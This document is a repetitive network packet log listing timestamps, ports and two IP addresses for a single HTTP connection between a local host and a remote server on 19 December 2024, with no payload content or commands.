Dec 19, 2024 08:01:02.598104000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.598119974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.598140001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.598145962 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.598180056 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.598963022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.598979950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.598995924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.599014997 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.599493027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.599509001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.599524021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.599538088 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.599543095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.599560976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.599569082 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.599579096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.599617004 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.600238085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.600276947 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.600570917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.600620985 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.600641966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.600661039 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.601528883 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.601577044 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.601603031 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.601619959 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.601656914 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.602461100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.602546930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.602564096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.602590084 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.603441000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.603485107 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.603509903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.603527069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.603566885 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.604372978 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.604418039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.604440928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.604480028 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.605407953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.605434895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.605448961 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.605456114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.605494976 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.606324911 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.606369019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.606385946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.606405973 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.654380083 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.734473944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.734673977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.734688044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.734736919 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.734936953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.734950066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.734985113 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.735080957 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.735116005 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.736053944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.736068964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.736082077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.736128092 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.736138105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.736150026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.736161947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.736169100 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.736196995 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.736315012 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.736392021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.736428976 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.770689964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.770708084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.770721912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.770761967 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.770931005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.770970106 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.770978928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.770992041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.771024942 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.771821022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.771866083 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.771878004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.771902084 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.772751093 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.772798061 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.772816896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.772829056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.772874117 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.773726940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.773788929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.773802042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.773823023 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.774713039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.774739981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.774749041 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.774753094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.774796009 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.775759935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.775789022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.775800943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.775825977 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.776598930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.776642084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.776648998 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.776655912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.776688099 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.777503014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.777580976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.777592897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.777612925 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.778434992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.778501034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.778505087 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.778513908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.778546095 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.779405117 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.779454947 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.779467106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.779490948 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.780400991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.780422926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.780433893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.780453920 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.780471087 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.781305075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.781346083 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.781358004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.781378984 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.782325983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.782373905 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.782402992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.782414913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.782447100 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.783255100 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.783338070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.783351898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.783373117 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.784164906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.784216881 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.784223080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.784236908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.784271002 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.785109997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.785160065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.785171986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.785196066 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.786094904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.786143064 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.786159992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.786171913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.786206961 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.787162066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.787211895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.787224054 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.787246943 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.787972927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.788022041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.788022041 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.788038015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.788067102 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.788909912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.788953066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.788965940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.788988113 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.789851904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.789895058 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.789915085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.789927959 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.789962053 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.790832996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.790844917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.790858984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.790875912 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.791764021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.791804075 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.791822910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.791836977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.791874886 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.792741060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.792787075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.792799950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.792825937 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.793868065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.793908119 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.793934107 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.793947935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.793988943 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.794672966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.794713974 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.794724941 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.794760942 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.795636892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.795650005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.795661926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.795689106 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.795720100 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.796504021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.796570063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.796583891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.796627998 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.797502041 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.797540903 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.797545910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.797559977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.797590017 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.798512936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.798527002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.798540115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.798568964 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.841866016 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.925246000 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.925309896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.925349951 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.925363064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.925664902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.925714016 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.925765991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.926297903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.926332951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.926345110 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.926368952 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.926409960 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.927194118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.927269936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.927304983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.927308083 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.928133965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.928184986 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.928191900 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.928227901 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.928267956 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.962682009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.962711096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.962724924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.962747097 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.963078022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.963115931 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.963156939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.963170052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.963198900 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.964128017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.964164972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.964176893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.964222908 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.964942932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.964983940 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.965017080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.965029001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.965059996 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.965910912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.965955019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.965965986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.965986013 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.966833115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.966876030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.966887951 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.966897964 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.966929913 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.967787981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.967822075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.967833042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.967859983 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.968741894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.968780994 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.968811989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.968825102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.968854904 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.969710112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.969760895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.969774008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.969799042 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.970623970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.970662117 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.970674992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.970686913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.970717907 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.971611977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.971678019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.971688986 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.971710920 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.972625017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.972666025 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.972673893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.972686052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.972718000 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.973593950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.973643064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.973654032 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.973671913 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.974431038 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.974468946 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.974468946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.974482059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.974514961 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.975544930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.975586891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.975600004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.975619078 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.976547956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.976588011 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.976598024 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.976609945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.976643085 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.977296114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.977350950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.977364063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.977385044 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.978251934 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.978290081 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.978313923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.978327036 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.978363991 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.979192019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.979237080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.979249954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.979268074 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.980221987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.980259895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.980261087 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.980274916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.980300903 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.981126070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.981192112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.981204033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.981226921 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.982042074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.982080936 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.982110023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.982122898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.982152939 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.983112097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.983125925 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.983139038 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.983165979 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:02.983949900 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.983973026 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:02.983984947 CET	80	49739	194.87.47.113	192.168.2.9
